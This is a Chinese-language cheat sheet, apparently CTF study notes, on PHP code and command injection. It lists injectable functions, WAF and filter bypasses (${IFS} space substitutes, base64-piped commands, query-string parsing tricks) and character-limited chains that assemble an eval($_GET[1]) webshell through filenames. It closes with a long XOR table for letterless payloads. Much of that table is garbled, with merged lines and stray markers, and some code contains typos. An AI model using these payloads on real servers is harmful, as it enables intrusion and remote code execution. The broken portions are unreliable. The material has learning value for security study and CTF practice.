概念

由于没有针对代码中可执行的特殊函数入口做过滤,导致用户可以提交恶意语句,并交由服务器执行
代码/命令注入攻击中 web 服务器没有过滤类似 system()、eval()、exec()等函数的传入参数是该漏洞的主要原因

代码注入相关函数

eval()

1
2
3
4
5
<?php
highlight_file(_FILE_);
$a='phpinfo();';
eval($a);
?>

Mixed eval(string code_str)
eval-把字符串作为 PHP 代码执行
Code_str 是 PHP 代码字符串

如果是:eval(‘phpinfo();’); 会显示 phpinfo
但是如果是 eval(‘phpinfo()’); 没有分号,那就会报错了
eval(‘echo 123;’); 会打印 123

菜刀 php7 就连不上了,推荐蚁剑,而且蚁剑开源,不用担心后门问题

assert()

1
2
3
4
5
6
7
8
9
<?php
error_reportion(E_ALL);
highlight_file(_FILE_);
#$a='echo 12345;';
#assert($a);
$a='eval("echo`pwd`;")';
assert($a);
echo 123;
?>

跟 eval()不同,如果只是传一个字符串那还是不会执行,需要函数配合
assert(“echo 123;”); 报错
assert(“eval(“echo 123;”)”);才可以正常输出 123

call_user_func()

1
2
3
4
5
6
7
<?php
highlight_file(_FILE_);
$a='system';
$b='pwd';
call_user_func($a,$b);
call_user_func('assert','phpinfo()');
?>

$a=’system’;
$b=’pwd’;
call_user_func($a,$b),第一个参数是回调函数,第二个是给调用的函数传递的参数
就会执行 system(‘pwd’)

以下函数不能被 call_user_func()调用:
array()、echo()、empty()、eval()、exit()、isset()、list()、print()、unset()

call_user_func_array()

$a=’assert’;
$b=array(‘phpinfo()’);
call_user_func_array($a,$b) 第一个参数是被调用的回调函数,第二个参数是要被传入回调函数的数组

create_function()

1
2
3
4
5
6
7
8
9
<?php
highlight_file(_FILE_);
$a=create_function('$code','echo $code;');
$b='hello';
$a($b);
$a='phpinfo();';
$b=create_fuction(' ',$a);
$b();
?>

$a=create_function(‘$code’,’echo $code;’);
$b=’hello’;
$a($b);
创建了一个匿名函数,直接给了$a,第一个参定义了一个参数,第二个参数定义了执行效果

array_map()

array_map 为数组的每个元素应用回调函数

1
2
3
4
5
6
7
<?php
highlight_file(_FILE_);
$a=$_GET['a'];
$b=$_GET['b'];
$array[0]=$b;
$c=array_map($a,$array);
?>

usort()

使用用户自定义的比较函数对数组中的值进行排序

1
2
3
4
5
<?php
highlight_file(_FILE_);
usort(...$_GET);
#usort($_GET[1],'assert')
?>

利用的时候要传两个参数:1[]=phpinfo&1[]=123&2=assert,穿的命令要放在数组的第一个

${phpinfo}

${里面的命令当作 php 代码执行}

命令注入相关函数

system()

执行系统命令

1
2
3
4
5
<?php
highlight_file(_FILE_);
system('pwd');
system('whoami');
?>

exec()

不直接返回结果 echo 只返回结果的最后一行,可以 exec(‘ls’,$a) var_dump($a)

passthur()

类似 system 直接返回结果

shell_exec()

还是要用 var_dump(exec(‘ls’));

``运算符

echo ls
会直接打印出 ls 产生的结果

命令执行绕过

1
2
3
4
<?php
$rce ="echo";
system($rce.$_GET[1])
?>

如果传参 1=123,就会打印 123,这是系统调用 echo 函数的原因

绕过方法

PHP 字符串解析特性

当 php 查询字符串进行解析的时候会将某些字符删除或用下划线代替
参考:https://www.freebuf.com/articles/web/213359.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
foreach(
[
"{chr}foo_bar",
"foo{chr}bar",
"foo_bar{chr}"
] as $k => $arg) {
for($i=0;$i<=255;$i++) {
echo "\033[999D\033[K\r";
echo "[".$arg."] check ".bin2hex(chr($i))."";
parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);
if(isset($o["foo_bar"])) {
echo "\033[999D\033[K\r";
echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";
}
}
echo "\033[999D\033[K\r";
echo "\n";
}

[RoarCTF 2019]Easy Calc

这道题目中 WAF 的存在使得没法给 num 传字符,但是如果在 num 前面加上个空格,那样 WAF 在检测的时候就不会检测到 num 这个参数,但是 PHP 在解析的时候会把空格删掉,这样就可以命令执行了

换行符

%0a

回车符

%0d

分号

;

后台进程

&

管道符

|
echo ‘ls’|bash
把左边的输出作为右边的输入

逻辑

|| &&

空格代替

可以用下面这些来代替空格:
${IFS}
<
$IFS
$IFS$9(这个数字随意)
%09 在url中传递参数
$a=l;$b=s;$a$b -> ls

base64 编码

echo d2hvYW1p| base64 -d
d2hvYW1p 是 whoami 的 b64 编码
结果就是 whoami 的结果
echo Y2F0IGZsYWcucGhw|base64 -d|sh

image.png
image.png

额,备份一下

WJ]]VZ%Z@SDL4$A(}]B~[{C.png
WJ]]VZ%Z@SDL4$A(}]B~[{C.png

可以直接 cat ls
把反引号内的命令输出作为输入给 cat

无回显

延时

比如:ls|sleep 3
延时 3 秒,就说明执行了命令

HTTP 请求

DNS 请求

CEYE

可控字符串长度受限

15 个可控字符

1
2
3
4
5
6
7
8
9
<?php
highlight_file(_FILE_);
if(strlen($_GET[1])<15){
echo strlen($_GET[1]);
echo shell_exec($_GET[1]);
}else{
exit('too long');
}
?>

一个>是写入
两个是追加
有的需要反斜线来告诉他是字符

echo /<?php >1
echo eval(>>1
echo $_GET>>1
echo [1]>>1
echo );>>1

这样才能写入:

1
2
3
4
5
<?php
eval(
$_GET
[1]
};

7 个可控字符

1
2
3
4
5
6
<?php
highlight_file(_FILE_);
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>

命令 > 文件名
会将结果输出到文件中

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
w>hp
w>1.p
w>d\>
w>\ -
w>e64
w>bas
w>\|
w>w==
w>gpO
w>mby
w>aW5
w>2hv
w>Agb
w>waH
w>PD9
w>o\
w>ech
ls -t>0 按照时间排序拼接
sh 0 执行

5 个可控字符

其实可以直接>文件名

ls\
ls>a

此时目录下有 ls 文件名

-t\ >>0
ls>>a

4 位可控字符

* 只带当前目录下文件
相当于把目录下的文件名拼接成一句话来运行

rev 会把文件倒过来输出
如果存在文件名:rev v v 里面内容是 12345

  • 的效果就是输出 54321,相当于给 rev 传递了一个 v 的参数
    注意是每一行反过来,不是整个的

ls 会把每个结果作为一行
dir 会把所有的拼成一行

整个过程:

f> 最终生成的文件名,为了不影响 dir 要把名字改的在 d 后面
ht-
sl
dir 生成 dir 文件,然后 _ 就是 dir 的效果了
_>v 把 dir 的效果输出到 v 里面
rev 创建一个 v
*v>0 反向结果输出到 0
sh 0 运行

无字母数字

将非字母、数字的字符经过各种变化最终构造成 a-z 中的任意字符

取反

自增

异或

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
$a = '~!@#$%^&*()_+\|/?.,<>`-={}[]';
for($i = 0;$i<strlen($a);$i++){
for($j=0;$j<strlen($a);$j++){
if(ord($a[$i]^$a[$j])>64&⩝($a[$i]^$a[$j])<91){
echo $a[$i]. ' xor '.$a[$j].' is ';
echo chr(ord($a[$i]^$a[$j])). ' ';
echo ord($a[$i]^$a[$j]);
echo "\n<br>";
}elseif(ord($a[$i]^$a[$j])>96&⩝($a[$i]^$a[$j])<122){
echo $a[$i].' xor '.$a[$j].' is ';
echo chr(ord($a[$i]^$a[$i])).' ';
echo ' '.ord($a[$i]^$a[$j]);
echo "\n<br>";
}
}
}
?>

结果:
~ xor $ is Z 90
~ xor & is X 88
~ xor _ is T 84
~ xor ( is V 86
~ xor ) is W 87
~ xor + is U 85
~ xor / is Q 81
~ xor ? is A 65
~ xor . is P 80
~ xor , is R 82
~ xor < is B 66
~ xor - is S 83
~ xor = is C 67
! xor @ is a 97
! xor ` is A 65
! xor { is Z 90
@ xor ! is a 97
@ xor # is c 99
@ xor $ is d 100
@ xor % is e 101
@ xor & is f 102
@ xor _ is j 106
@ xor ( is h 104
@ xor ) is i 105
@ xor + is k 107
@ xor / is o 111
@ xor . is n 110
@ xor , is l 108
@ xor - is m 109

xor @ is c 99

xor ` is C 67

xor { is X 88

xor [ is x 120

$ xor ~ is Z 90
$ xor @ is d 100
$ xor \ is x 120
$ xor | is X 88
$ xor is D 68 $ xor } is Y 89 $ xor ] is y 121 % xor @ is e 101 % xor \ is y 121 % xor | is Y 89 % xor is E 69
% xor } is X 88
% xor ] is x 120
^ xor & is x 120
^ xor * is t 116
^ xor ( is v 118
^ xor ) is w 119
^ xor + is u 117
^ xor / is q 113
^ xor ? is a 97
^ xor . is p 112
^ xor , is r 114
^ xor < is b 98
^ xor - is s 115
^ xor = is c 99
& xor ~ is X 88
& xor @ is f 102
& xor ^ is x 120
& xor _ is y 121
& xor | is Z 90
& xor ` is F 70

  • xor ~ is T 84
  • xor @ is j 106
  • xor ^ is t 116
  • xor _ is u 117
  • xor \ is v 118
  • xor | is V 86
  • xor ` is J 74
  • xor { is Q 81
  • xor } is W 87
  • xor [ is q 113
  • xor ] is w 119
    ( xor ~ is V 86
    ( xor @ is h 104
    ( xor ^ is v 118
    ( xor _ is w 119
    ( xor \ is t 116
    ( xor | is T 84
    ( xor is H 72 ( xor { is S 83 ( xor } is U 85 ( xor [ is s 115 ( xor ] is u 117 ) xor ~ is W 87 ) xor @ is i 105 ) xor ^ is w 119 ) xor _ is v 118 ) xor \ is u 117 ) xor | is U 85 ) xor is I 73
    ) xor { is R 82
    ) xor } is T 84
    ) xor [ is r 114
    ) xor ] is t 116
    _ xor & is y 121
    _ xor * is u 117
    _ xor ( is w 119
    _ xor ) is v 118
    _ xor + is t 116
    _ xor / is p 112
    _ xor . is q 113
    _ xor , is s 115
    _ xor < is c 99
    _ xor > is a 97
    _ xor - is r 114
    _ xor = is b 98
  • xor ~ is U 85
  • xor @ is k 107
  • xor ^ is u 117
  • xor _ is t 116
  • xor \ is w 119
  • xor | is W 87
  • xor ` is K 75
  • xor { is P 80
  • xor } is V 86
  • xor [ is p 112
  • xor ] is v 118
    \ xor $ is x 120
    \ xor % is y 121
    \ xor _ is v 118
    \ xor ( is t 116
    \ xor ) is u 117
    \ xor + is w 119
    \ xor / is s 115
    \ xor ? is c 99
    \ xor . is r 114
    \ xor , is p 112
    \ xor > is b 98
    \ xor - is q 113
    \ xor = is a 97
    | xor $ is X 88
    | xor % is Y 89
    | xor & is Z 90
    | xor _ is V 86
    | xor ( is T 84
    | xor ) is U 85
    | xor + is W 87
    | xor / is S 83
    | xor ? is C 67
    | xor . is R 82
    | xor , is P 80
    | xor > is B 66
    | xor - is Q 81
    | xor = is A 65
    / xor ~ is Q 81
    / xor @ is o 111
    / xor ^ is q 113
    / xor _ is p 112
    / xor \ is s 115
    / xor | is S 83
    / xor is O 79 / xor { is T 84 / xor } is R 82 / xor [ is t 116 / xor ] is r 114 ? xor ~ is A 65 ? xor ^ is a 97 ? xor \ is c 99 ? xor | is C 67 ? xor { is D 68 ? xor } is B 66 ? xor [ is d 100 ? xor ] is b 98 . xor ~ is P 80 . xor @ is n 110 . xor ^ is p 112 . xor _ is q 113 . xor \ is r 114 . xor | is R 82 . xoris N 78 . xor { is U 85 . xor } is S 83 . xor [ is u 117 . xor ] is s 115 , xor ~ is R 82 , xor @ is l 108 , xor ^ is r 114 , xor _ is s 115 , xor \ is p 112 , xor | is P 80 , xor` is L 76
    , xor { is W 87
    , xor } is Q 81
    , xor [ is w 119
    , xor ] is q 113
    < xor ~ is B 66
    < xor ^ is b 98
    < xor _ is c 99
    < xor { is G 71
    < xor } is A 65
    < xor [ is g 103
    < xor ] is a 97

    xor _ is a 97
    xor \ is b 98
    xor | is B 66
    xor { is E 69
    xor } is C 67
    xor [ is e 101

    xor ] is c 99
    xor ! is A 65 xor # is C 67
    xor $ is D 68 xor % is E 69
    xor & is F 70 xor * is J 74
    xor ( is H 72 xor ) is I 73
    xor + is K 75 xor / is O 79
    xor . is N 78 xor , is L 76
    ` xor - is M 77

  • xor ~ is S 83
  • xor @ is m 109
  • xor ^ is s 115
  • xor _ is r 114
  • xor \ is q 113
  • xor | is Q 81
  • xor ` is M 77
  • xor { is V 86
  • xor } is P 80
  • xor [ is v 118
  • xor ] is p 112
    = xor ~ is C 67
    = xor ^ is c 99
    = xor _ is b 98
    = xor \ is a 97
    = xor | is A 65
    = xor { is F 70
    = xor [ is f 102
    { xor ! is Z 90
    { xor # is X 88
    { xor _ is Q 81
    { xor ( is S 83
    { xor ) is R 82
    { xor + is P 80
    { xor / is T 84
    { xor ? is D 68
    { xor . is U 85
    { xor , is W 87
    { xor < is G 71
    { xor > is E 69
    { xor - is V 86
    { xor = is F 70
    } xor $ is Y 89
    } xor % is X 88
    } xor _ is W 87
    } xor ( is U 85
    } xor ) is T 84
    } xor + is V 86
    } xor / is R 82
    } xor ? is B 66
    } xor . is S 83
    } xor , is Q 81
    } xor < is A 65
    } xor > is C 67
    } xor - is P 80
    [ xor # is x 120
    [ xor _ is q 113
    [ xor ( is s 115
    [ xor ) is r 114
    [ xor + is p 112
    [ xor / is t 116
    [ xor ? is d 100
    [ xor . is u 117
    [ xor , is w 119
    [ xor < is g 103
    [ xor > is e 101
    [ xor - is v 118
    [ xor = is f 102
    ] xor $ is y 121
    ] xor % is x 120
    ] xor _ is w 119
    ] xor ( is u 117
    ] xor ) is t 116
    ] xor + is v 118
    ] xor / is r 114
    ] xor ? is b 98
    ] xor . is s 115
    ] xor , is q 113
    ] xor < is a 97
    ] xor > is c 99
    ] xor - is p 112